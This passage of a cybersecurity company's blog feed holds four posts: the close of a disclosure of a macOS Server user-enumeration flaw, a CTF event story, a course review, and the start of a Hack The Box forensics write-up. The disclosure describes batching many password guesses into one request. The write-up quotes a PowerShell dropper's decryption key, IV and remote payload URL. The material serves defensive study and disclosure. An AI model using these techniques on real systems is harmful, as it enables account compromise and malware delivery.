src="https://cdn-images-1.medium.com/proxy/0*LfBslAHwNcVolrpc" /><figcaption>Looking at the example image again</figcaption></figure><p>In this request, the first <em>type</em> is actually <em>com.apple.BatchServiceRequest. </em>When this <em>type</em> is used, it allows for the batching of multiple requests together. In the JSON data we can see that there is a <em>requests</em> key. The key/value pair for this is actually a list of other JSON formatted requests. This allows for the collabdproxy to take multiple requests of <em>type</em>, <em>serviceName</em>, <em>methodName</em> and process them all from one HTTP request and provide the data back in an HTTP response.</p><p>Collabdproxy does not care if there are multiple requests of the same <em>serviceName</em> or <em>methodName </em>as long as the JSON data is structured properly<em>.</em> Which means it is possible to craft an HTTP request that will process multiple requests to do the same thing. Do you see where I am going with this?</p><p>Typically, when you try to authenticate to a system you make that one request with a username and password. As a Red Teamer you might conduct a password attack against a user account which would make multiple request, each HTTP request contains one set of credentials to test. But in this case, why not just send multiple authentication requests in the one HTTP request; same user name but varying passwords. As an attacker, I can send one HTTP request to the server, the server then processes all 100 of the requests and sends one HTTP response. I will leave this as a thought exercise for the reader on how best to utilize this information if desired.</p><p>I will say, <a href="https://medium.com/u/36daf9ba3056">Khris Tolbert</a> did some of his own science related to this and determined for best results you need to have a nice balance between the latency of the network, the number of concurrent requests, and the server processing speed of the large requests. Let’s just say an HTTP request with 1000 authentication requests is doable, but it may not always be the most efficient. Also, this functionality is not currently built-in to my tool, but the framework is there to be able to easily add this feature if desired.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*94LGpR19gu9afV73.jpg" /></figure><p>I still had the issue of how to deal with the vulnerability in relation to Apples’ response. I want to reiterate, I don’t have a huge issue with Apple’s response; it is what I expected. However, I still had a customer with an exposed vulnerability that would not get patched. After discussion with my team, they convinced me that we should publicly release this vulnerability. I know releasing vulnerabilities or tools can be a passionate debate for cybersecurity practitioners, but I don’t want to really go down that road in this blog post. However, I would like to share a few reasons why we decided to release this info in this way.</p><p>We have confirmed that this software is still used on the public Internet (limited use), and I assume there are still some of these systems sitting around inside organizations networks. So, there are definitely organizations that are susceptible to this vulnerability.</p><p><a href="https://medium.com/u/36daf9ba3056">Khris Tolbert</a> provided me some info that this vulnerability is similar to to <a href="https://nvd.nist.gov/vuln/detail/CVE-2017-2382">CVE-2017–2382</a>:</p><blockquote>An issue was discovered in certain Apple products. macOS Server before 5.3 is affected. The issue involves the “Wiki Server” component. It allows remote attackers to enumerate user accounts via unspecified vectors.</blockquote><p>There is no public information about how this vulnerability worked, so his concern is that even if this is the same vulnerability, it still exists. I have tested it extensively against macOS Server 5.3.1 and some limited tests against versions up to 5.7.</p><p>In conclusion, if you or your organization are running deprecated software, I strongly advise you to evaluate the accepted risk and take the appropriate actions. If the choice is to accept the risk, please ensure you are adding other security controls to attempt to reduce the attack surface and ensure there is security monitoring in place for the system. Just remember, there are adversaries wearing lab coats doing science every day.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*hVyi6olAWIqp0USg.jpg" /><figcaption>Adversaries do Science every day</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/0*ji-EfA0nkRrQUyaC.png" /></figure><p><em>Maveris is an IT and cybersecurity company committed to helping organizations create secure digital solutions to accelerate their mission. We are Veteran-owned and proud to serve customers across the Federal Government and private sector. Maveris Labs is a space for employees and customers to ask and explore answers to their burning “what if…” questions and to expand the limits of what is possible in IT and cybersecurity. To learn more, go to </em><a href="http://maveris.com/"><em>maveris.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=acad9fed76cb" width="1" height="1" alt=""><hr><p><a href="https://medium.com/revolutionallabs/user-enumeration-vulnerability-in-the-deprecated-macos-server-acad9fed76cb">User Enumeration Vulnerability in the deprecated macOS Server</a> was originally published in <a href="https://medium.com/revolutionallabs">Revolutional Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Tale of Adversity and Success at the 2023 Marine Corps Cyber Games]]></title>
            <link>https://medium.com/revolutionallabs/a-tale-of-adversity-and-success-at-the-2023-marine-corps-cyber-games-48ec59f94d07?source=rss----f30c6fcdbcbc---4</link>
            <guid isPermaLink="false">https://medium.com/p/48ec59f94d07</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[company-culture]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[thatonethrunter]]></dc:creator>
            <pubDate>Thu, 17 Aug 2023 12:32:22 GMT</pubDate>
            <atom:updated>2023-08-17T12:32:22.374Z</atom:updated>
            <content:encoded><![CDATA[<p>“An in-person event? What’s that?”</p><p>That was my first reaction when asked if I’d be interested in putting together a team for the 2023 Marine Corps Cyber Games in Charleston, SC. Having not been on any work travel since 2017, the concept of getting on an airplane and going somewhere for work seemed quite foreign.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*6txstSy4bCtW7vPoXN1JdA.gif" /></figure><p>The hesitancy quickly turned to excitement when I realized it was a capture the flag style event. Having participated in a few of these virtually, I was already hooked (a big thank you to the Maveris Red Team for introducing me). Being able to do it in person would be a whole new level of awesome. Or would it be?</p><p>It turns out that the event was to take place in a SCIF with no outside connectivity. That means no phones, no texting, no researching, no Google. Just the team and the lab. We were going to need to put together a great team if we hoped to compete. And so we did. Six employees in total were recruited, across multiple contracts and different teams, all with critical skill sets to ensure maximum success of the team.</p><p>When the day finally came to make the journey to Charleston, I was more than ready. Months of anticipation and the time had finally arrived. Going to a beautiful city to do something fun and meet some co-workers that I’d never met before but worked with frequently was a welcome change to the scenery at the home office. I had plenty to occupy my thoughts as the flight left Washington and headed south.</p><p>As the first member of the team to arrive in Charleston, I started to plan out logistics to get to the base where the CTF would be hosted. We were permitted to begin the exercise at 0800, so an arrival at the base between 0700–0730 was in order to get through the gate and badging office with time to get seated in the lab. My notebook was already filled with blue team manual material. I felt relaxed and ready. When the second member of the team arrived in town, we headed across the street for dinner and drinks at a local brewery. All was right with the world. And then adversity struck.</p><p>One of the team members called me. He had missed his flight due to circumstances outside of his control. The thought of being down a critical member of the team was a difficult thing to process. Then just as soon as he broke the bad news, he immediately stepped up and offered to make the 12 hour drive. Driving through the night, he would arrive just after 0400 local time. His dedication convinced me in that moment that everything was going to work out well for the team. After the rest of the team got into town, we headed out for a late night dinner and to talk strategy. Some greasy food and nerdy conversations were had, and the team was ready to capture some flags.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*be_wLv6Wn7HQA9cHARYuLg.gif" /></figure><p>We assembled the next morning at breakfast, everyone anxious to get on-site and start knocking out challenges. After getting loaded up with calories and ample amounts of caffeine, we headed over to the base. Arriving in three separate vehicles, we worked through base access and badging in order to get into the cyber range. There were a few snafus, but we all finally arrived at the cyber range fashionably late (closer to 0900 than the 0800 that we were aiming for). Our hosts were patiently waiting for us.</p><p>Phones placed on the entry table, we headed into the SCIF and into the lab testing room. Our hosts graciously welcomed us and ensured that we were comfortable in the testing room. After a brief walkthrough of the lab architecture, we dove into the CTF scenario. 13 flags total that would require varying techniques and concepts to find. After the in-brief, our hosts turned us loose on the lab and the exercise began.</p><p>We initially divided up the challenges based on skill set and got right to work. Flags were falling fast. By mid morning, we were knocking out challenges like Derrick Henry rolls through would-be tacklers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*3dD1qOVzU4hLvQs6QhX-4g.gif" /></figure><p>Lunch time had arrived and we were spinning our wheels on a few challenges. We felt pretty close though and decided to power through and try to finish on the first day as quickly as we could. This was maybe not the best decision, as a break to refuel and collect our thoughts could have helped avoid what happened in the afternoon. We hit a wall. Progress came to a screeching halt. Only two challenges remained:</p><ul><li>Reverse engineer a binary to find a hidden flag within</li><li>Locate a webshell that had been loaded on a webserver and extract the flag</li></ul><p>With the entire team focusing on these two challenges, we should be able to get them finished quickly, right? This logic didn’t hold up and by the time 1700 rolled around, we hadn’t come any closer to getting the two remaining flags. We left the cyber range that day feeling very defeated, despite having two full days to complete the exercise. We knew we could regroup and come back the following day to finish, but it still felt like a loss given how close we were. That night at dinner, we did a little game planning but mainly just tried to hang out and enjoy the evening. Good food, good beer, good company, good times.</p><p>The next morning, we headed back to the cyber range determined to make quick work of the remaining flags. One of the team members had to step out of the SCIF to make a call. The rest of the team was so engaged in the CTF, we didn’t realize how long he had been gone. Two hours later, he returned and the team had a few laughs at his expense. Apparently after stepping outside to make a call, his badge no longer worked to get back in the building. He took a scenic walking tour of the base before finally making it to the badge office and getting his access fixed.</p><p>After some initial failure, the team located the webshell and extracted the flag. Only one more. Now the entire team was engaged. After some clarifying questions from the cyber range staff, the team was able to extract the final flag from the binary and complete the challenge just before lunch. At the time, the Maveris team was only the second team to complete the entire exercise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/1*DC1w5wSPdTdv13pzVou6Zw.gif" /></figure><p>But wait, we still had an entire afternoon to do .. something. Should we go celebrate? Go back to the hotel and sleep? Our hosts had a better idea. They told us to go have lunch while they spun up another CTF for us just for funsies. We headed to a local and very good BBQ joint (<a href="https://southernrootssmokehouse.com/">https://southernrootssmokehouse.com/</a>) and gorged on some hard earned smoked meat.</p><p>Arriving back at the cyber range, our hosts had the new CTF ready to go. And so we dove right in. This time, there were 40 total challenges. A daunting task, but also no pressure since we weren’t expected to finish in the four hours that we had left. Apparently nobody on the team got the message that we were supposed to be casual about it, and the team proceeded to capture 34 flags before our visit came to an end.</p><p>Overall, the format of the CTF was very engaging. It was a Jeopardy-style challenge themed around a USCG expeditionary force in a foreign location, with names and scenarios fictionalized. The challenges were largely blue team focused centering around tactics involving analysis of log files, packet captures, intrusion detection system alerts, and some reverse engineering of binary executables. While the challenges varied in difficulty with points awarded based on the difficulty of each challenge, the Maveris team found most of them to fall into the easy to medium range in comparison with other challenges experienced in previous CTFs from providers like Hack The Box. During the challenge, there was a chat feature which provided communications with the lab admin team for any questions. The Maveris team leveraged this feature for clarifying questions and issues (and maybe a hint or two).</p><p>After our final evening in Charleston which we spent celebrating with drinks, we all returned to our hotel in good spirits and thankful for the opportunity to step outside the norm. Thankful for meeting co-workers that we’d never met before and putting faces to names and voices. And very thankful to our hosts at the National Cyber Range Complex for welcoming, hosting, and accommodating us in every way that they did. We had a great time and look forward to going back in the future.</p><p>This event served as a great team building exercise. Though we had worked together for years within Maveris, many of us hadn’t met in person due to working remotely and being in different parts of the country. The CTF gave us a chance to come together for work, get the job done, and then get to know each other. A welcome change-up from the day-to-day, and a great way to boost morale for any employers out there looking for team building opportunities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/0*kxFMd0tth9p8MAYC.png" /></figure><p><em>Maveris is an IT and cybersecurity company committed to helping organizations create secure digital solutions to accelerate their mission. We are Veteran-owned and proud to serve customers across the Federal Government and private sector. Maveris Labs is a space for employees and customers to ask and explore answers to their burning “what if…” questions and to expand the limits of what is possible in IT and cybersecurity. To learn more, go to </em><a href="http://maveris.com/"><em>maveris.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=48ec59f94d07" width="1" height="1" alt=""><hr><p><a href="https://medium.com/revolutionallabs/a-tale-of-adversity-and-success-at-the-2023-marine-corps-cyber-games-48ec59f94d07">A Tale of Adversity and Success at the 2023 Marine Corps Cyber Games</a> was originally published in <a href="https://medium.com/revolutionallabs">Revolutional Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I took Google’s Cybersecurity Certification Course and Here’s What I Learned.]]></title>
            <link>https://medium.com/revolutionallabs/i-took-googles-cybersecurity-certification-course-and-here-s-what-i-learned-759ad5dd1c9b?source=rss----f30c6fcdbcbc---4</link>
            <guid isPermaLink="false">https://medium.com/p/759ad5dd1c9b</guid>
            <category><![CDATA[cybersecurity-certificate]]></category>
            <category><![CDATA[review]]></category>
            <category><![CDATA[cybersecurity-training]]></category>
            <category><![CDATA[career-change]]></category>
            <dc:creator><![CDATA[Left4Zed]]></dc:creator>
            <pubDate>Wed, 31 May 2023 14:19:32 GMT</pubDate>
            <atom:updated>2023-05-31T14:19:32.677Z</atom:updated>
            <content:encoded><![CDATA[<h3>I took Google’s Cybersecurity Certification and Here’s What I Learned.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T86nlHEifxVh8WMfxInlJA.png" /></figure><p>So I decided to take Google’s new Cybersecurity Certification Program. I wanted to see what the content was like and with the promise of learning basic SQL and Python by going through this program I was intrigued. Those were skills I did not have in my repertoire so I thought, “maybe I could use it as a refresher for stuff I’ve probably forgotten about when I studied for CISSP and also use it to learn a couple new skills.”</p><p>I wasn’t sure what to expect, but knowing Google, it was probably a professional and well-developed program, like many of their certificate courses. I totally underestimated how good of an education program this was and that is why I am writing this!</p><p>Now some administrative stuff. The course is through the online training portal <a href="https://www.coursera.org/">Coursera</a>. Coursera offers a 7-day free trial, but then moves to $49 USD per month. Just Google “Google Cybersecurity Certification” to go right to it!</p><p>Having recently obtained my CISSP, I thought I might be able to just barrel through this course. My initial assumption was wrong. I had no idea how in depth they got with this program. The course is comprised of 8 lessons, each 4 modules (well except for the 8th one, which is 5 modules, but it is shorter) that builds off of the information you learn in each lesson. There are labs, quizzes, flashcards, and other exercises built into each of the modules, as well as the lectures from instructors and testimonials from Google employees who weaved their careers in many directions before finding their particular role in cybersecurity. A lot of the latter explained that the paths to a career in cybersecurity do not have to be linear and planned out and that soft skills are incredibly important to have, while technical skills can be learned. The course was definitely geared toward those who are not currently in cybersecurity, but the information provided surpassed my expectations for a beginner level certificate program.</p><figure><img alt="List of the 8 lessons in the Google Cybersecurity Certificate Program." src="https://cdn-images-1.medium.com/max/649/1*So3Qwslsx4mBATjvTgo7_Q.png" /><figcaption><strong><em>The 8 courses in Google’s Cybersecurity Program</em></strong></figcaption></figure><p>In the first section of the program, you learn that when you complete Google’s Cybersecurity Certificate course, they offer some additional study materials PLUS a 30% discount on taking the CompTIA Security+ exam giving you the opportunity to earn both credentials in one! Personally, I thought this was great, as those looking to learn the basics have an incredible, affordable training option that they can choose to prepare themselves for this journey. Great job here Google and Coursera!</p><p>Okay, so what are the different section breakdowns? I’ll briefly describe each one, but due to Coursera’s User Agreement, I’ll post only a couple generic screenshots.</p><p><em>Foundations of Cybersecurity</em></p><p>This lesson illustrates a day in the life of a cybersecurity professional. It begins to explain some of the paths you can take, soft skills that translate into it, terminology, tools of the trade, and an overall picture of how exciting a cybersecurity career it can be. Through several Google employee testimonials here, and throughout the other lessons, you learn that many of these people didn’t start out in security or even in information technology.</p><p>This lesson also introduced the CIA triad and some of the basic concepts of cybersecurity and several of the tools available that you might use, including Security Information and Event Management (SIEM) tools, an overview of programming languages, packet sniffers and network tools like Intrusion Detection Systems, and more. It provided a good inventory of soft and hard skills that you would need to learn to obtain a cybersecurity career.</p><p><em>Play it Safe: Manage Risks</em></p><p>This lesson introduced you to the world of risk management and did a deeper dive into:</p><ul><li>vulnerabilities, threats, and impacts,</li><li>regulatory and industry guidance and frameworks,</li><li>principals such as OWASP, NIST CSF, the Phases of Incident Response,</li><li>the differences between audits and assessments,</li><li>business continuity concepts, and</li><li>the differences between the SIEM tools, Splunk and Chronicle.</li></ul><p><em>Connect and Protect: Networks and Network Security</em></p><p>This lesson introduced you to TCP/IP and OSI protocols. It deconstructed network protocols and packets, IP addresses, and all the different ports that internet traffic uses. It went into a lot of detail about network security, and monitoring using Intrusion Detection Systems (IDS) and Prevention Systems (IPS). I forgot how much these materials made my eyes glaze when I was obtaining my CISSP, but to be honest they presented it in a way that kept your attention. There was a plethora of information to learn in this course and I could see it taking someone unfamiliar with the concepts a while to get through it.</p><p><em>Tools and the Trade: Linux and SQL</em></p><p>This lesson was excellent, for me at least. This is where you learn some basics of using Linux, all of its components, distributions, and command lines. They focused a lot on Debian/Kali distros because of their pen-testing focus. The lessons instructs you on how to open up a virtual environment (with the click of a button really) and you get right into learning how to write in Bash (command line). By first navigating around the directories, then searching, learning piping, and a lot of other commands you start to realize it isn’t that difficult at all. Every time you learned a concept in lecture or reading, you then had the ability to practice it in the virtual lab setup in a Linux environment. The second half of the Linux portion of this course talked about managing permissions, using ‘sudo’ commands to manage access control, and all of the capabilities you could do to modify and manage user access.</p><p>Then the real fun began! The second half of the course was all about diving into SQL. You learned how to connect to and work with databases, work with strings, numbers, date/time fields, all of the various operators. All of this culminated into doing table joins. It was a great opportunity to learn the basics in a virtual lab environment where you were actually running the SQL commands/SQL statements on a database and seeing results. They really made these concepts easy to learn and encouraged students taking the course to continue learning on their own.</p><p><em>Assets, Threats, and Vulnerabilities</em></p><p>Went into detail about… well an organizations assets, and the threats and vulnerabilities that put them at risk. The course reviewed how risk is calculated and the challenges faced in cloud security, with REALLY in-depth explanations of the NIST CSF, security controls, types of access accounts, how to audit access privileges, encryption, hashing and salting, defense-in-depth, how to do a vulnerability assessment (including a lab where you actually conduct one), different types of scans, threat actors, attack vectors, social engineering, malware, and <a href="https://threatmodeler.com/threat-modeling-methodologies-overview-for-your-business/">threat modeling</a> using PASTA, TRIKE, and VAST. It covered a lot and was hugely informative.</p><p><em>Sound the Alarm: Detection and Response</em></p><p>This lesson was fascinating, again taking a deeper dive into the NIST CSF and the Incident Response (IR) Lifecycle. It introduced CSIRTs, SOCs, NOCs, SOAR, and EDR along with the familiar acronyms like IDS, IPS, and SIEM (get your note taking gear out, I think I took 10 or so pages of notes on this section alone — it was REALLY great info). This course discussed, in detail, indicators of compromise and how to analyze networks and decompose packets down to reading their headers to try and learn more about them. You then learned to capture PCAPs using <em>tcpdump </em>in the virtual lab and then analyze them in <em>tcpdump </em>and <em>Wireshark</em>. It discussed all of the different PCAP libraries to learn more information and then you were back into the virtual labs to practice using <em>tcpdump </em>and <em>Wireshark </em>to analyze suspicious network activity.</p><p>Then it took you into the fascinating world of detection, threat hunting, the <a href="https://www.sans.org/tools/the-pyramid-of-pain/">Pyramid of Pain</a>, indicators of attack, and many other tools used to find out why your systems might be running abnormally. The course walked you through incident forensics, the importance of using a chain of custody, playbooks, triage, containment, eradication, and recovery. The final portion of this course provided a nice overview of business continuity, and the post-incident phase. This section covered a LOT and my head was spinning. This was the longest section I had taken… so far.</p><p><em>Automate Cybersecurity Tasks with Python</em></p><p>This lesson<em> </em>actually WAS the longest course in this program (at least for me). Having very little programming knowledge, it took me two days to complete this section. Now let me preface this with the fact that I tried learning Python before, but I couldn’t garner enough interest to remember what I was doing. I’d have to go back to square one every time and relearn basics like ‘print()’ functions because I just had no interest the way the instruction was structured. This course was a game changer for me.</p><p>I prepared some screenshots to show why. About a third of each module in this section was lecture. Learning what you are going to code and why.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*CcrkJ7UGExymRDlCuN9qaA.png" /></figure><p>As you can see in the side menu above, you usually do a short video, then some reading for more information, and then you get into the labs that you apply what you learn by actually writing code, and then followed by quizzes to test your knowledge on what you learned. And I am not sure I mentioned it before, but throughout ALL of these courses, there are different assignments that you can leverage to develop artifacts to add to a portfolio to demonstrate your understanding of the topics. I definitely saw a lot of value in creating a portfolio for those wanting to get into the field or change their career focus.</p><p>As you are navigating through the lectures, the instructor breaks down down the code for you in very easy to understand ways. For example, when I was learning how to write ‘regular expressions’ to pull specific information from lists, the instructor would break down the code on the slide:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*Py_TYd1Vq7WLknL3dWZc-w.png" /></figure><p>After watching the instructor-led lectures, which were all less than 10 minutes at a time, there were readings that explained the information in more detail and shared additional operators, tools to use, and showed how to use the built-in functions in Python. When it came to labs in Python, the course opened up a Jupyter Notebook so you could code their examples, you could play around with the code itself, and write your own. You were able to execute the code right inside the Notebook and debug it if you had to, which is my favorite way of learning, by making mistakes!</p><p>The Notebooks allowed you to do your “homework”, but also let you adjust the code to see what it could do, which to me, was valuable. I would go mess around with the code and see if I could apply other bits and pieces on a regular basis while learning. I now have a MUCH better understanding of using Python and now need to find some ways to play around with it some more, so that I get some practice in. I need a CTF now :)</p><p><em>Putting it to Work: Prepare for Cybersecurity Jobs</em></p><p>The final lesson starts out discussing the importance having a security mindset, learning how to report and escalate an incident, and working with security teams. Halfway through the modules, the lessons shift more toward softer skills, like preparing for interviews, understanding how to answer in STAR format, dressing for success, and using the portfolio of artifacts that you had the opportunity to create throughout the 8 courses. Google even provides tools and templates that you can use to develop your resume/cv, practice interview questions, and build a professional network to expand your knowledge. Finally, the Google Cybersecurity Certificate program comes to a close by demonstrating how to obtain and upload your Credly badge to social media, like LinkedIn, and how to download your shiny new Google Cybersecurity Certification Certificate of Completion.</p><p>I honestly think this course is an excellent resource for those interested in getting their feet wet, looking to switch careers, or, like me, refresh your memory on areas that you might be rusty on, with the bonus of learning some extra technical skills if you aren’t the technical type. Also, a big bonus was that it helps prepare you for your CompTIA Security+ certification.</p><p>I really am glad I decided to take the Google Cybersecurity Certification Program through Coursera. Note this is my opinion, I am not affiliated with either organization, but figured if I can help anyone who is considering taking that first step, I believe 100% that it was worth it, and you should not be intimidated by the programming aspects of the course — they make it very easy for you to learn! And that’s the ultimate goal, isn’t it?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/0*GP4JrTA5tqRJqZx4.png" /></figure><p><em>Maveris is an IT and cybersecurity company committed to helping organizations create secure digital solutions to accelerate their mission. We are Veteran-owned and proud to serve customers across the Federal Government and private sector. Maveris Labs is a space for employees and customers to ask and explore answers to their burning “what if…” questions and to expand the limits of what is possible in IT and cybersecurity. To learn more, go to </em><a href="http://maveris.com/"><em>maveris.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=759ad5dd1c9b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/revolutionallabs/i-took-googles-cybersecurity-certification-course-and-here-s-what-i-learned-759ad5dd1c9b">I took Google’s Cybersecurity Certification Course and Here’s What I Learned.</a> was originally published in <a href="https://medium.com/revolutionallabs">Revolutional Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: CA2023 — Forensics Interstellar C2]]></title>
            <link>https://medium.com/revolutionallabs/htb-ca2023-forensics-interstellar-c2-588e2419400c?source=rss----f30c6fcdbcbc---4</link>
            <guid isPermaLink="false">https://medium.com/p/588e2419400c</guid>
            <category><![CDATA[cyberscurity]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[forensics]]></category>
            <dc:creator><![CDATA[Khris Tolbert]]></dc:creator>
            <pubDate>Fri, 24 Mar 2023 15:33:59 GMT</pubDate>
            <atom:updated>2023-03-24T15:33:59.597Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB: CA2023 — Forensics Interstellar C2</h3><p>The folks at HackTheBox put on another fun/great event!</p><p>One of my favorite solves from this event was the Forensic Interstellar C2 challenge. I really enjoyed the realistic-ish hunt via PCAP of a suspected PowerShell dropper and it’s encrypted traffic. It was a nice break from burning myself out on crypto challenges (why does sagemath hate me so much?).</p><p>As this challenge was ranked “hard” and at the time I began my attempt against it, only 30 or 40 solves existed, I was curious if I would even complete the challenge in time… (SPOILER: Somehow I did!)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*0oTBAlcp9XuAycPBMsV2ig.png" /><figcaption>HA! Take that meme, I actually for once did complete it in time!!!</figcaption></figure><p>Given solely a PCAP to begin, the 4th packet in kicks off the party:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ifsw_CoUCYZwvivVKCt9bQ.png" /><figcaption>Wireshark. Yeah. That’s what this is.</figcaption></figure><p>Browsing the entire PCAP, many more HTTP requests were seen, so I decided to go ahead and dump them all with tshark:</p><pre>tshark -r capture.pcapng --export-objects &#39;http,destdir&#39;</pre><p>From there, I was then able to see all of the dumped HTTP objects within the PCAP:</p><pre>$ ls -al destdir/*            <br>-rwxrwx--- 1 root vboxsf  478360 Mar 23 09:56  %3fdVfhJmc2ciKvPOC<br>-rwxrwx--- 1 root vboxsf    1516 Mar 23 09:56 &#39;%3fdVfhJmc2ciKvPOC(1)&#39;<br>-rwxrwx--- 1 root vboxsf      11 Mar 23 09:56 &#39;%3fdVfhJmc2ciKvPOC(10)&#39;<br>-rwxrwx--- 1 root vboxsf      11 Mar 23 09:56 &#39;%3fdVfhJmc2ciKvPOC(11)&#39;<br>-rwxrwx--- 1 root vboxsf      42 Mar 23 09:56 &#39;%3fdVfhJmc2ciKvPOC(12)&#39;<br>-rwxrwx--- 1 root vboxsf     103 Mar 23 09:56 &#39;%3fdVfhJmc2ciKvPOC(13)&#39;<br>-rwxrwx--- 1 root vboxsf 6703168 Mar 23 09:56 &#39;%3fdVfhJmc2ciKvPOC(14)&#39;<br>-rwxrwx--- 1 root vboxsf    1516 Mar 23 09:56 &#39;%3fdVfhJmc2ciKvPOC(15)&#39;<br>-rwxrwx--- 1 root vboxsf      55 Mar 23 09:56 &#39;%3fdVfhJmc2ciKvPOC(16)&#39;<br>-rwxrwx--- 1 root vboxsf    2508 Mar 23 09:56 &#39;%3fdVfhJmc2ciKvPOC(17)&#39;<br>-rwxrwx--- 1 root vboxsf      42 Mar 23 09:56 &#39;%3fdVfhJmc2ciKvPOC(18)&#39;<br>-rwxrwx--- 1 root vboxsf      55 Mar 23 09:56 &#39;%3fdVfhJmc2ciKvPOC(19)&#39;<br>-rwxrwx--- 1 root vboxsf       3 Mar 23 09:56 &#39;%3fdVfhJmc2ciKvPOC(2)&#39;<br>-rwxrwx--- 1 root vboxsf      81 Mar 23 09:56 &#39;%3fdVfhJmc2ciKvPOC(20)&#39;<br>-rwxrwx--- 1 root vboxsf      55 Mar 23 09:56 &#39;%3fdVfhJmc2ciKvPOC(21)&#39;<br>-rwxrwx--- 1 root vboxsf      88 Mar 23 09:56 &#39;%3fdVfhJmc2ciKvPOC(22)&#39;<br>-rwxrwx--- 1 root vboxsf  846588 Mar 23 09:56 &#39;%3fdVfhJmc2ciKvPOC(23)&#39;<br>-rwxrwx--- 1 root vboxsf      42 Mar 23 09:56 &#39;%3fdVfhJmc2ciKvPOC(24)&#39;<br>-rwxrwx--- 1 root vboxsf       3 Mar 23 09:56 &#39;%3fdVfhJmc2ciKvPOC(25)&#39;<br>-rwxrwx--- 1 root vboxsf    1516 Mar 23 09:56 &#39;%3fdVfhJmc2ciKvPOC(3)&#39;<br>-rwxrwx--- 1 root vboxsf      81 Mar 23 09:56 &#39;%3fdVfhJmc2ciKvPOC(4)&#39;<br>-rwxrwx--- 1 root vboxsf    1580 Mar 23 09:56 &#39;%3fdVfhJmc2ciKvPOC(5)&#39;<br>-rwxrwx--- 1 root vboxsf      81 Mar 23 09:56 &#39;%3fdVfhJmc2ciKvPOC(6)&#39;<br>-rwxrwx--- 1 root vboxsf       3 Mar 23 09:56 &#39;%3fdVfhJmc2ciKvPOC(7)&#39;<br>-rwxrwx--- 1 root vboxsf       3 Mar 23 09:56 &#39;%3fdVfhJmc2ciKvPOC(8)&#39;<br>-rwxrwx--- 1 root vboxsf     103 Mar 23 09:56 &#39;%3fdVfhJmc2ciKvPOC(9)&#39;<br>-rwxrwx--- 1 root vboxsf   18960 Mar 23 09:56  94974f08-5853-41ab-938a-ae1bd86d8e51<br>-rwxrwx--- 1 root vboxsf   12632 Mar 23 09:56 &#39;Anni%3fTheda=Merrilee%3fc&#39;<br>-rwxrwx--- 1 root vboxsf    2035 Mar 23 09:56  vn84.ps1</pre><p>Inside of <em>vn84.ps1</em>, a jumbled PowerShell script showed a BitsTransfer (L5) from 64.226.84.200 (end of L1) to download a payload encrypted with a predefined key (L10) and IV (L11):</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/2e538917f7afb9c62c23e52ce20cd1e8/href">https://medium.com/media/2e538917f7afb9c62c23e52ce20cd1e8/href</a></iframe><pre>${K`EY} = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)<br>${iv} = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)<br>http://64.226.84.200/94974f08-5853-41ab-938a-ae1bd86d8e51</pre><p>The payload downloaded via BitsTransfer can be found as a file named after the web path,<em>94974f08–5853–41ab-938a-ae1bd86d8e51,</em> in the dump of all the HTTP objects (neat, huh?):</p><pre>$ xxd 94974f08-5853-41ab-938a-ae1bd86d8e51 | head<br>00000000: 2cef ef8e 516c 1aea ee9c 9c05 c584 a4bc  ,...Ql..........<br>00000010: 1791 d526 804e b1d4 7d0e b442 59ed 288b  ...&amp;.N..}..BY.(.<br>00000020: 99c6 5ec6 36fc da43 dce5 a53f f720 bfda  ..^.6..C...?. ..<br>00000030: 2fc1 19ad 34d5 2a85 6b49 31a4 65fa a3be  /...4.*.kI1.e...<br>00000040: 3890 119f bdf3 2500 9b52 cc15 dbcd de9f  8.....%..R......<br>00000050: 0a9c 207a 054f 87db f9d1 50bb fe1e a9e4  .. z.O....P.....<br>00000060: 1225 2d37 982d ffb8 69ad f63f baf8 5cd5  .%-7.-..i..?..\.<br>00000070: e86c 458c c6d9 b24b 23b2 7fd0 6260 a51d  .lE....K#...b`..<br>00000080: c6ab 21dd caf2 df3e 8956 9477 98a9 163e  ..!....&gt;.V.w...&gt;<br>00000090: fb7e f9d0 6154 85fa 3b3a 7a16 4098 3d9c  .~..aT..;:z.@.=.</pre><p>Throwing together a quick python script, I was able to decrypt the blob with the provided key and IV:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a 